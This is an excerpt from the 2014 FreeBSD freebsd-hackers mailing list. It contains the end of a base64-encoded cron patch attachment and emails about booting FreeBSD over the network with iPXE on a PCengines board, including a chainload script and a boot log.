dWZmZXIgKi8KIAlyZXRzZWwgPSAxLXJldHNlbDsKQEAgLTUxMywxOSArNTMxLDIzIEBACiAKIAkv KiBmaW5pc2ggdGhlIHJldHVybi1zdHJpbmcgYW5kIHJldHVybiBpdCAqLwogCSpycCA9ICdcMCc7 Ci0JcmV0dXJuIHJiOworCXJldHVybiAocmIpOwogfQogCi0KIC8qIHdhcm5pbmc6CiAgKgloZWF2 aWx5IGFzY2lpLWRlcGVuZGVudC4KICAqLwotc3RhdGljIHZvaWQKLW1rcHJpbnQocmVnaXN0ZXIg Y2hhciAqZHN0LCByZWdpc3RlciB1bnNpZ25lZCBjaGFyICpzcmMsIHJlZ2lzdGVyIGludCBsZW4p Cit2b2lkCitta3ByaW50KGNoYXIgKmRzdCwgdW5zaWduZWQgY2hhciAqc3JjLCBpbnQgbGVuKQog eworCS8qCisJICogWFhYCisJICogV2Uga25vdyB0aGlzIHJvdXRpbmUgY2FuJ3Qgb3ZlcmZsb3cg dGhlIGRzdCBidWZmZXIgYmVjYXVzZSBta3ByaW50cygpCisJICogYWxsb2NhdGVkIGVub3VnaCBz cGFjZSBmb3IgdGhlIHdvcnN0IGNhc2UuCisJICovCiAJd2hpbGUgKGxlbi0tID4gMCkKIAl7Ci0J CXJlZ2lzdGVyIHVuc2lnbmVkIGNoYXIgY2ggPSAqc3JjKys7CisJCXVuc2lnbmVkIGNoYXIgY2gg PSAqc3JjKys7CiAKIAkJaWYgKGNoIDwgJyAnKSB7CQkJLyogY29udHJvbCBjaGFyYWN0ZXIgKi8K IAkJCSpkc3QrKyA9ICdeJzsKQEAgLTU0Myw1OCArNTY1LDE3NSBAQAogCSpkc3QgPSAnXDAnOwog fQogCi0KIC8qIHdhcm5pbmc6CiAgKglyZXR1cm5zIGEgcG9pbnRlciB0byBtYWxsb2MnZCBzdG9y YWdlLCB5b3UgbXVzdCBjYWxsIGZyZWUgeW91cnNlbGYuCiAgKi8KIGNoYXIgKgogbWtwcmludHMo c3JjLCBsZW4pCi0JcmVnaXN0ZXIgdW5zaWduZWQgY2hhciAqc3JjOwotCXJlZ2lzdGVyIHVuc2ln bmVkIGludCBsZW47CisJdW5zaWduZWQgY2hhciAqc3JjOworCXVuc2lnbmVkIGludCBsZW47CiB7 Ci0JcmVnaXN0ZXIgY2hhciAqZHN0ID0gbWFsbG9jKGxlbio0ICsgMSk7CisJY2hhciAqZHN0ID0g bWFsbG9jKGxlbio0ICsgMSk7CiAKLQlpZiAoZHN0ICE9IE5VTEwpCisJaWYgKGRzdCkKIAkJbWtw cmludChkc3QsIHNyYywgbGVuKTsKIAotCXJldHVybiBkc3Q7CisJcmV0dXJuIChkc3QpOwogfQog Ci0KICNpZmRlZiBNQUlMX0RBVEUKLS8qIFNhdCwgMjcgRmViIDkzIDExOjQ0OjUxIENTVAotICog MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3CisvKiBTYXQsIDI3IEZlYiAxOTkzIDExOjQ0OjUx IC0wODAwIChDU1QpCisgKiAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3CiAg Ki8KIGNoYXIgKgogYXJwYWRhdGUoY2xvY2spCiAJdGltZV90ICpjbG9jazsKIHsKLQl0aW1lX3Qg dCA9IGNsb2NrID8qY2xvY2sgOnRpbWUoMEwpOwotCXN0cnVjdCB0bSAqdG0gPSBsb2NhbHRpbWUo JnQpOwotCXN0YXRpYyBjaGFyIHJldFszMl07CS8qIHpvbmUgbmFtZSBtaWdodCBiZSA+MyBjaGFy cyAqLwotCi0JaWYgKHRtLT50bV95ZWFyID49IDEwMCkKLQkJdG0tPnRtX3llYXIgKz0gMTkwMDsK LQotCSh2b2lkKSBzbnByaW50ZihyZXQsIHNpemVvZihyZXQpLCAiJXMsICUyZCAlcyAlZCAlMDJk OiUwMmQ6JTAyZCAlcyIsCi0JCSAgICAgICBEb3dOYW1lc1t0bS0+dG1fd2RheV0sCi0JCSAgICAg ICB0bS0+dG1fbWRheSwKLQkJICAgICAgIE1vbnRoTmFtZXNbdG0tPnRtX21vbl0sCi0JCSAgICAg ICB0bS0+dG1feWVhciwKLQkJICAgICAgIHRtLT50bV9ob3VyLAotCQkgICAgICAgdG0tPnRtX21p biwKLQkJICAgICAgIHRtLT50bV9zZWMsCisJdGltZV90IHQgPSBjbG9jayA/ICpjbG9jayA6IHRp bWUoKFRJTUVfVCkgMCk7CisJc3RydWN0IHRtIHRtID0gKmxvY2FsdGltZSgmdCk7CisJbG9uZyBn bXRvZmYgPSBnZXRfZ210b2ZmKCZ0LCAmdG0pOworCWludCBob3VycyA9IGdtdG9mZiAvIFNFQ09O RFNfUEVSX0hPVVI7CisJaW50IG1pbnV0ZXMgPSAoZ210b2ZmIC0gKGhvdXJzICogU0VDT05EU19Q RVJfSE9VUikpIC8gU0VDT05EU19QRVJfTUlOVVRFOworCXN0YXRpYyBjaGFyIHJldFs2NF07CS8q IHpvbmUgbmFtZSBtaWdodCBiZSA+MyBjaGFycyAqLworCQorCSh2b2lkKSBzcHJpbnRmKHJldCwg IiVzLCAlMmQgJXMgJTJkICUwMmQ6JTAyZDolMDJkICUuMmQlLjJkICglcykiLAorCQkgICAgICAg RG93TmFtZXNbdG0udG1fd2RheV0sCisJCSAgICAgICB0bS50bV9tZGF5LAorCQkgICAgICAgTW9u dGhOYW1lc1t0bS50bV9tb25dLAorCQkgICAgICAgdG0udG1feWVhciArIDE5MDAsCisJCSAgICAg ICB0bS50bV9ob3VyLAorCQkgICAgICAgdG0udG1fbWluLAorCQkgICAgICAgdG0udG1fc2VjLAor CQkgICAgICAgaG91cnMsCisJCSAgICAgICBtaW51dGVzLAogCQkgICAgICAgVFpPTkUoKnRtKSk7 Ci0JcmV0dXJuIHJldDsKKwlyZXR1cm4gKHJldCk7CiB9CiAjZW5kaWYgLypNQUlMX0RBVEUqLwog Ci0KICNpZmRlZiBIQVZFX1NBVkVEX1VJRFMKLXN0YXRpYyBpbnQgc2F2ZV9ldWlkOwotaW50IHN3 YXBfdWlkcygpIHsgc2F2ZV9ldWlkID0gZ2V0ZXVpZCgpOyByZXR1cm4gc2V0ZXVpZChnZXR1aWQo KSk7IH0KLWludCBzd2FwX3VpZHNfYmFjaygpIHsgcmV0dXJuIHNldGV1aWQoc2F2ZV9ldWlkKTsg fQorc3RhdGljIHVpZF90IHNhdmVfZXVpZDsKK3N0YXRpYyBnaWRfdCBzYXZlX2VnaWQ7CisKK2lu dCBzd2FwX3VpZHModm9pZCkgeworCXNhdmVfZWdpZCA9IGdldGVnaWQoKTsKKwlzYXZlX2V1aWQg PSBnZXRldWlkKCk7CisJcmV0dXJuICgoc2V0ZWdpZChnZXRnaWQoKSkgfHwgc2V0ZXVpZChnZXR1 aWQoKSkpID8gLTEgOiAwKTsKK30KKworaW50IHN3YXBfdWlkc19iYWNrKHZvaWQpIHsKKwlyZXR1 cm4gKChzZXRlZ2lkKGdldGdpZCgpKSB8fCBzZXRldWlkKGdldHVpZCgpKSkgPyAtMSA6IDApOwor fQorCiAjZWxzZSAvKkhBVkVfU0FWRURfVUlEUyovCi1pbnQgc3dhcF91aWRzKCkgeyByZXR1cm4g c2V0cmV1aWQoZ2V0ZXVpZCgpLCBnZXR1aWQoKSk7IH0KLWludCBzd2FwX3VpZHNfYmFjaygpIHsg cmV0dXJuIHN3YXBfdWlkcygpOyB9CisKK2ludCBzd2FwX3VpZHModm9pZCkgeworCXJldHVybiAo KHNldHJlZ2lkKGdldGVnaWQoKSwgZ2V0Z2lkKCkpIHx8IHNldHJldWlkKGdldGV1aWQoKSwgZ2V0 dWlkKCkpKQorCSAgICA/IC0xIDogMCk7Cit9CisKK2ludCBzd2FwX3VpZHNfYmFjayh2b2lkKSB7 CisJcmV0dXJuIChzd2FwX3VpZHMoKSk7Cit9CiAjZW5kaWYgLypIQVZFX1NBVkVEX1VJRFMqLwor CitzaXplX3QKK3N0cmxlbnMoY29uc3QgY2hhciAqbGFzdCwgLi4uKSB7CisJdmFfbGlzdCBhcDsK KwlzaXplX3QgcmV0ID0gMDsKKwljb25zdCBjaGFyICpzdHI7CisKKwl2YV9zdGFydChhcCwgbGFz dCk7CisJZm9yIChzdHIgPSBsYXN0OyBzdHIgIT0gTlVMTDsgc3RyID0gdmFfYXJnKGFwLCBjb25z dCBjaGFyICopKQorCQlyZXQgKz0gc3RybGVuKHN0cik7CisJdmFfZW5kKGFwKTsKKwlyZXR1cm4g KHJldCk7Cit9CisKKy8qIFJldHVybiB0aGUgb2Zmc2V0IGZyb20gR01UIGluIHNlY29uZHMgKGFs Z29yaXRobSB0YWtlbiBmcm9tIHNlbmRtYWlsKS4KKyAqCisgKiB3YXJuaW5nOgorICoJY2xvYmJl cnMgdGhlIHN0YXRpYyBzdG9yYWdlIHNwYWNlIHVzZWQgYnkgbG9jYWx0aW1lKCkgYW5kIGdtdGlt ZSgpLgorICoJSWYgdGhlIGxvY2FsIHBvaW50ZXIgaXMgbm9uLU5VTEwgaXQgKm11c3QqIHBvaW50 IHRvIGEgbG9jYWwgY29weS4KKyAqLworI2lmbmRlZiBIQVZFX1RNX0dNVE9GRgorbG9uZyBnZXRf Z210b2ZmKHRpbWVfdCAqY2xvY2ssIHN0cnVjdCB0bSAqbG9jYWwpCit7CisJc3RydWN0IHRtIGdt dDsKKwlsb25nIG9mZnNldDsKKworCWdtdCA9ICpnbXRpbWUoY2xvY2spOworCWlmIChsb2NhbCA9 PSBOVUxMKQorCQlsb2NhbCA9IGxvY2FsdGltZShjbG9jayk7CisKKwlvZmZzZXQgPSAobG9jYWwt PnRtX3NlYyAtIGdtdC50bV9zZWMpICsKKwkgICAgKChsb2NhbC0+dG1fbWluIC0gZ210LnRtX21p bikgKiA2MCkgKworCSAgICAoKGxvY2FsLT50bV9ob3VyIC0gZ210LnRtX2hvdXIpICogMzYwMCk7 CisKKwkvKiBUaW1lem9uZSBtYXkgY2F1c2UgeWVhciByb2xsb3ZlciB0byBoYXBwZW4gb24gYSBk aWZmZXJlbnQgZGF5LiAqLworCWlmIChsb2NhbC0+dG1feWVhciA8IGdtdC50bV95ZWFyKQorCQlv ZmZzZXQgLT0gMjQgKiAzNjAwOworCWVsc2UgaWYgKGxvY2FsLT50bV95ZWFyID4gZ210LnRtX3ll YXIpCisJCW9mZnNldCAtPSAyNCAqIDM2MDA7CisJZWxzZSBpZiAobG9jYWwtPnRtX3lkYXkgPCBn bXQudG1feWRheSkKKwkJb2Zmc2V0IC09IDI0ICogMzYwMDsKKwllbHNlIGlmIChsb2NhbC0+dG1f eWRheSA+IGdtdC50bV95ZGF5KQorCQlvZmZzZXQgKz0gMjQgKiAzNjAwOworCisJcmV0dXJuIChv ZmZzZXQpOworfQorI2VuZGlmIC8qIEhBVkVfVE1fR01UT0ZGICovCisKK2ludAorb3Blbl9zb2Nr ZXQodm9pZCkKK3sKKyAgICAgICAgaW50ICAgICAgICAgICAgICAgIHNvY2s7CisgICAgICAgIG1v ZGVfdCAgICAgICAgICAgICBvbWFzazsKKyAgICAgICAgc3RydWN0IHNvY2thZGRyX3VuIHNfdW47 CisKKyAgICAgICAgc29jayA9IHNvY2tldChQRl9MT0NBTCwgU09DS19TVFJFQU0sIDApOworICAg ICAgICBpZiAoc29jayA9PSAtMSkgeworICAgICAgICAgICAgICAgIGZwcmludGYoc3RkZXJyLCAi JXM6IGNhbid0IGNyZWF0ZSBzb2NrZXQ6ICVzXG4iLAorICAgICAgICAgICAgICAgICAgICBQcm9n cmFtTmFtZSwgc3RyZXJyb3IoZXJybm8pKTsKKyAgICAgICAgICAgICAgICBleGl0KEVYSVRfRkFJ TFVSRSk7CisgICAgICAgIH0KKyAgICAgICAgaWYgKGZjbnRsKHNvY2ssIEZfU0VURkQsIEZEX0NM T0VYRUMpID09IC0xKSB7CisgICAgICAgICAgICAgICAgZnByaW50ZihzdGRlcnIsICIlczogY2Fu J3QgbWFrZSBzb2NrZXQgY2xvc2Ugb24gZXhlYzogJXNcbiIsCisgICAgICAgICAgICAgICAgICAg IFByb2dyYW1OYW1lLCBzdHJlcnJvcihlcnJubykpOworICAgICAgICAgICAgICAgIGV4aXQoRVhJ VF9GQUlMVVJFKTsKKyAgICAgICAgfQorICAgICAgICBpZiAoZmNudGwoc29jaywgRl9TRVRGTCwg T19OT05CTE9DSykgPT0gLTEpIHsKKyAgICAgICAgICAgICAgICBmcHJpbnRmKHN0ZGVyciwgIiVz OiBjYW4ndCBtYWtlIHNvY2tldCBub24tYmxvY2tpbmc6ICVzXG4iLAorICAgICAgICAgICAgICAg ICAgICBQcm9ncmFtTmFtZSwgc3RyZXJyb3IoZXJybm8pKTsKKyAgICAgICAgICAgICAgICBleGl0 KEVYSVRfRkFJTFVSRSk7CisgICAgICAgIH0KKyAgICAgICAgbWVtc2V0KCZzX3VuLCAnXDAnLCBz aXplb2Yoc191bikpOworICAgICAgICBpZiAoKHVuc2lnbmVkIGxvbmcpc25wcmludGYoc191bi5z dW5fcGF0aCwgc2l6ZW9mKHNfdW4uc3VuX3BhdGgpLCAiJXMvJXMvJXMiLAorICAgICAgICAgICAg ICBDUk9ORElSLCBTUE9PTF9ESVIsIFNPQ0tGSUxFKSA+PSBzaXplb2Yoc191bi5zdW5fcGF0aCkp IHsKKyAgICAgICAgICAgICAgICBmcHJpbnRmKHN0ZGVyciwgIiVzLyVzOiBwYXRoIHRvbyBsb25n XG4iLCBDUk9ORElSLCBTT0NLRklMRSk7CisgICAgICAgICAgICAgICAgZXhpdChFWElUX0ZBSUxV UkUpOworICAgICAgICB9CisgICAgICAgIHVubGluayhzX3VuLnN1bl9wYXRoKTsKKyAgICAgICAg c191bi5zdW5fZmFtaWx5ID0gUEZfTE9DQUw7CisjaWZkZWYgU1VOX0xFTgorICAgICAgICBzX3Vu LnN1bl9sZW4gPSBTVU5fTEVOKCZzX3VuKTsKKyNlbmRpZgorCisgICAgICAgIG9tYXNrID0gdW1h c2soMDA3KTsKKyAgICAgICAgaWYgKGJpbmQoc29jaywgKHN0cnVjdCBzb2NrYWRkciAqKSZzX3Vu LCBzaXplb2Yoc191bikpKSB7CisgICAgICAgICAgICAgICAgZnByaW50ZihzdGRlcnIsICIlczog Y2FuJ3QgYmluZCBzb2NrZXQ6ICVzXG4iLAorICAgICAgICAgICAgICAgICAgICBQcm9ncmFtTmFt ZSwgc3RyZXJyb3IoZXJybm8pKTsKKyAgICAgICAgICAgICAgICB1bWFzayhvbWFzayk7CisgICAg ICAgICAgICAgICAgZXhpdChFWElUX0ZBSUxVUkUpOworICAgICAgICB9CisgICAgICAgIHVtYXNr KG9tYXNrKTsKKyAgICAgICAgaWYgKGxpc3Rlbihzb2NrLCBTT01BWENPTk4pKSB7CisgICAgICAg ICAgICAgICAgZnByaW50ZihzdGRlcnIsICIlczogY2FuJ3QgbGlzdGVuIG9uIHNvY2tldDogJXNc biIsCisgICAgICAgICAgICAgICAgICAgIFByb2dyYW1OYW1lLCBzdHJlcnJvcihlcnJubykpOwor ICAgICAgICAgICAgICAgIGV4aXQoRVhJVF9GQUlMVVJFKTsKKyAgICAgICAgfQorICAgICAgICBj aG1vZChzX3VuLnN1bl9wYXRoLCAwNjYwKTsKKworICAgICAgICByZXR1cm4oc29jayk7Cit9CisK --089e0111c08a47d11f04fb9e10f8-- From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 12 21:38:36 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 45848412 for ; Thu, 12 Jun 2014 21:38:36 +0000 (UTC) Received: from mail-wg0-x22e.google.com (mail-wg0-x22e.google.com [IPv6:2a00:1450:400c:c00::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id D61DF2B56 for ; Thu, 12 Jun 2014 21:38:35 +0000 (UTC) Received: by mail-wg0-f46.google.com with SMTP id y10so1821051wgg.17 for ; Thu, 12 Jun 2014 14:38:34 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=QW7jSUQn5NSLOYILEC5Y7cSA6WVXtGrpWy3ONLuqJNA=; b=j2gC/2Gg8rygrZUEtNDcp+FC+YHMb/WCGRmSL8tokgG55Vqu1fMCLaqZZRMhnNj0Lz 3slO4dCwvHm4rJYnMCAnGjU8PwFvNVv7hge1mkLlBjFqURzuSaXtm1jyAsO3NWAnLGLI t6Z6cKFFpIbV8rUPIHzuhybDtvvD+cgQLFgkE4Wp4c4EIrmFjw/brDcqt3uvHlpNzk6w nM7585D3foRp7EmUpEOHZRIwXPLNmlpK1jaPiZ0qgmtv0fpSgyPnRpqxT8rAwYNd2mDT ss/r5s6g7X3XWgCj6HufW1eTDhaHBDqfBM7iPMMDXmPpUpVP9f5dcXzcifT3+Cm4UdHE vebw== MIME-Version: 1.0 X-Received: by 10.180.14.65 with SMTP id n1mr2972316wic.4.1402609113782; Thu, 12 Jun 2014 14:38:33 -0700 (PDT) Received: by 10.194.60.140 with HTTP; Thu, 12 Jun 2014 14:38:33 -0700 (PDT) In-Reply-To: <5399C6A0.9010506@sentex.net> References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> Date: Thu, 12 Jun 2014 23:38:33 +0200 Message-ID: Subject: Re: iPXE booting latest PCengines alu board From: Kamil Czekirda To: Daniel Braniss Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 12 Jun 2014 21:38:36 -0000 Hi, Please look at my GSoC wiki page: https://wiki.freebsd.org/SummerOfCode2014/FreeBSD_PXE_preseed There is kpxe file, you can chainload it using file option in your dhcp ser= ver. It's very simple script: #!ipxe dhcp cpuid --ext 29 && set CPU-ARCH amd64 || set CPU-ARCH i386 set img http://mfsbsd.vx.sk/files/images/10/${CPU-ARCH}/mfsbsd-10.0-RELEASE= -${CPU-ARCH}.img kernel http://volt.iem.pw.edu.pl/~czekirdk/memdisk raw initrd ${img} boot It detects architecture and runs mfsbsd directly from Martin Matuska websit= e. It's simpliest way to boot different iso or img image of FreeBSD. It will be nice to have local mirror and make menu with different releases. I'll prepare menu, but I need few days, I'll inform you. I think that in next week will be ready iPXE port for FreeBSD and simply solutions. I have many scripts to boot ubuntu, debian, etc. and I can help you with it. It's simple to run FreeBSD from nfs server too. Ask if you have problems. Kamil 2014-06-12 17:26 GMT+02:00 Mike Tancsa : > On 6/12/2014 10:38 AM, Daniel Braniss wrote: >> >> Hi all, >> while I try to learn about iPXE, I am wondering if someone already >> managed to boot FreeBSD via the network, else it=E2=80=99s going to be a= n >> interesting weekend :-) > > > If you mean http://www.pcengines.ch/apu.htm, just make sure you are booti= ng > a relatively recent FreeBSD version (newer than April I think). Otherwise= , > it boots just fine like any other bit of hardware over the network. > > ---Mike > > > -- > ------------------- > Mike Tancsa, tel +1 519 651 3400 > Sentex Communications, mike@sentex.net > Providing Internet services since 1994 www.sentex.net > Cambridge, Ontario Canada http://www.tancsa.com/ > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org= " From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 07:05:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 597568EF for ; Fri, 13 Jun 2014 07:05:02 +0000 (UTC) Received: from mail-qc0-x231.google.com (mail-qc0-x231.google.com [IPv6:2607:f8b0:400d:c01::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 148042900 for ; Fri, 13 Jun 2014 07:05:01 +0000 (UTC) Received: by mail-qc0-f177.google.com with SMTP id r5so54302qcx.22 for ; Fri, 13 Jun 2014 00:05:01 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=eitanadler.com; s=0xdeadbeef; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type:content-transfer-encoding; bh=CmA9wNtJ3TUUaSwethiOTDPH7HloN6NqlcxDwwUep78=; b=PW4XVo91s0nVhtlwSQchv3JGhzqkK2Mv5rIWOGGg4AHdfAH7xhbG5pRhv5xGQLpTPq 6767FyJF0LDVQkhkuqOV+InhiRODSFnnciRhWZRh0lsl+DKVNVEGWJnr5eWjH35fZFc0 tNizOPzAVZx98CjJtxlvzS+zjBJtydjX4FyoQ= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to:cc:content-type:content-transfer-encoding; bh=CmA9wNtJ3TUUaSwethiOTDPH7HloN6NqlcxDwwUep78=; b=mCBFr/Qo1ALVVQ9HUfPVsSD7syQa/DvPsdbj0M0/MVR22WDV7Pb6EEh2XlEggT9OZc xNmWkJAYNMQPZO1/4DQQXeWa8sJz5cNksH6GYu5QkXftgTbuviRTJWZB61kh2IEpukPF G2sTsC0n6NkZQUVVbjQFYNhZ/TkfYaIl9RYlBuHSCy4y3XUCD+42M1Ihe3oimBqvhz2L 5iuf+mzB+CyrM1eKod5E4q58tELRR9QZuveJsoNWzrJuPGPSSjfn1mOlTRXVg4kPU4Qi OJImSc/llk9SiuDQoVuA+pCGYt41AZ5+9hNZlUoMjXHQDtaA7lgRSjIRa+B5JUbDt/uI MXGA== X-Gm-Message-State: ALoCoQlphG/4FqNmwwQ9giHKPDhdwzfeOamrT0FOr60qq221HpYa2aamkB91qu+6qmRIsHabI1MM X-Received: by 10.224.135.132 with SMTP id n4mr920040qat.23.1402643101064; Fri, 13 Jun 2014 00:05:01 -0700 (PDT) MIME-Version: 1.0 Received: by 10.96.222.131 with HTTP; Fri, 13 Jun 2014 00:04:30 -0700 (PDT) In-Reply-To: References: From: Eitan Adler Date: Fri, 13 Jun 2014 00:04:30 -0700 Message-ID: Subject: Re: Improve cron(8) To: =?UTF-8?Q?Tomek_Wa=C5=82aszek?= , freebsd-arch@freebsd.org Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 07:05:02 -0000 +arch since hackers@ seems to be silent. On 11 June 2014 23:56, Tomek Wa=C5=82aszek wrote: > Hello, > I saw on the FreeBSD Ideas page topic about cron :). > I've started updating the 'original' FreeBSD cron from sources to vixi cr= on > 4.1. I think (well I hope :P) most of the features that were done in > FreeBSD cron are now ported into vixi cron 4.1, there are unfortunately > some missing features at the moment: > - @every_second - this need to be done > - -s and -o, in vixi cron 4.1 daylight time switches are enabled by > default, at the moment there is no -s and -o options. So you need to remo= ve > '-s' from the cron rc script > > I've also added one feature from OpenBSD, crontab is poking cron using > unix-domain socket so we don't need to have suid on crontab. > > Path is in the attachment. I'm testing it on my FreeBSD box and it looks > good but anyway don't try it on production machines :). > > After the installation we have to do a few things: > - Add crontab group > - Change group to crontab on /var/cron/tabs > - Add sticky bit on /var/cron/tabs > - Add group write permissions on /var/cron/tabs > > This is still work in progress but if someone could have a look on this a= nd > give me some feedback it would be great. > > Regards, > Tomasz Walaszek > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org= " --=20 Eitan Adler From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 08:25:15 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 34B591E2 for ; Fri, 13 Jun 2014 08:25:15 +0000 (UTC) Received: from kabab.cs.huji.ac.il (kabab.cs.huji.ac.il [132.65.116.12]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id AE0B82F55 for ; Fri, 13 Jun 2014 08:25:14 +0000 (UTC) Received: from th-04.cs.huji.ac.il ([132.65.80.125]) by kabab.cs.huji.ac.il with esmtp id 1WvMnN-0001UG-UX; Fri, 13 Jun 2014 11:25:09 +0300 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: iPXE booting latest PCengines alu board From: Daniel Braniss In-Reply-To: <5399C6A0.9010506@sentex.net> Date: Fri, 13 Jun 2014 11:24:57 +0300 Message-Id: References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> To: Mike Tancsa X-Mailer: Apple Mail (2.1878.2) Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 08:25:15 -0000 On Jun 12, 2014, at 6:26 PM, Mike Tancsa wrote: > On 6/12/2014 10:38 AM, Daniel Braniss wrote: >> Hi all, >> while I try to learn about iPXE, I am wondering if someone already >> managed to boot FreeBSD via the network, else it=92s going to be an >> interesting weekend :-) >=20 > If you mean http://www.pcengines.ch/apu.htm, just make sure you are = booting a relatively recent FreeBSD version (newer than April I think). = Otherwise, it boots just fine like any other bit of hardware over the = network. no, it does not :-(, the bios has iPXE not PXE - notice the little i) after hitting ^B i managed some progress: iPXE> kernel tftp://132.65.116.7/tftpboot/freebsd/pxeboot-9.3 tftp://132.65.116.7/tftpboot/freebsd/pxeboot-9.3... ok iPXE> boot PXE Loader 1.00 Building the boot loader arguments Relocating the loader and the BTX Starting the BTX loader pxe_open: server addr: 132.65.60.52 pxe_open: server path: /vol/binary/bsd/amd64/7.0 pxe_open: gateway ip: 132.65.80.1 Loading /boot/defaults/loader.conf=20 /boot/kernel/kernel text=3D0x798197 data=3D0xf5fe8+0x7c998 = syms=3D[0x8+0xb2a10+0x8+0x98f34] /boot/kernel/zfs.ko size 0xf5a28 at 0xc57000 /boot/kernel/ispfw.ko size 0xbe288 at 0xd4d000 / ??????????????????????????????????????????? ? ? ? ? , , ? ? /( )` ? Welcome to FreeBSD! ? \ \___ / | ? ? /- _ `-/ ' ? ? (/\/ \ \ /\ ? 1. Boot FreeBSD [default] ? / / | ` \ ? 2. Boot FreeBSD with ACPI enabled ? O O ) / | ? 3. Boot FreeBSD in Safe Mode ? `-^--'`< ' ? 4. Boot FreeBSD in single user mode ? (_.) _ ) / ? 5. Boot FreeBSD with verbose logging ? `.___/` / = =20 ? 6. Escape to loader prompt ? `-----' / ? 7. Reboot ? <----. __ / __ \ ? ? <----|=3D=3D=3D=3DO)))=3D=3D= ) \) /=3D=3D=3D=3D| ? ? <----' `--' `.__,' \ ? ? | | ? ? \ / = /\ ? Select option, [Enter] for default ? ______( (_ / = \______/ ? or [Space] to pause timer 8 ? ,' ,-----' | ??????????????????????????????????????????? `--{__________)=20 GDB: no debug ports present KDB: debugger backends: ddb KDB: current backend: ddb Copyright (c) 1992-2008 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights = reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 7.0-RC1 #41: Sun Dec 30 15:19:13 IST 2007 danny@sunfire:/r+d/obj/sunfire/r+d/7.0/src/sys/HUJI Timecounter "i8254" frequency 1193182 Hz quality 0 CPU: AMD G-T40E Processor (1000.00-MHz K8-class CPU) Origin =3D "AuthenticAMD" Id =3D 0x500f20 Stepping =3D 0 = Features=3D0x178bfbff Features2=3D0x802209> AMD Features=3D0x2e500800,RDTSCP,LM> AMD = Features2=3D0x35ff,,,Prefetch,,= ,> Cores per package: 2 usable memory =3D 4246466560 (4049 MB) avail memory =3D 4093575168 (3903 MB) ACPI APIC Table: FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs =85 kbd0 at atkbd0 atkbd: unable to get the current command byte value. atkbd0: [GIANT-LOCKED] atkbd0: [ITHREAD] psm0: unable to get the current command byte value. ppc0: cannot reserve I/O port range and here it hung. ok, so this is a very old kernel, which got selected by default, (just shows how old the default is :-), but when I set it to boot 9.3-BETA2 via the latest pxeboot it hangs just after initialising the BTX. I have since managed to boot it via a local disk, the same kernel BTW, so at least that is ok. 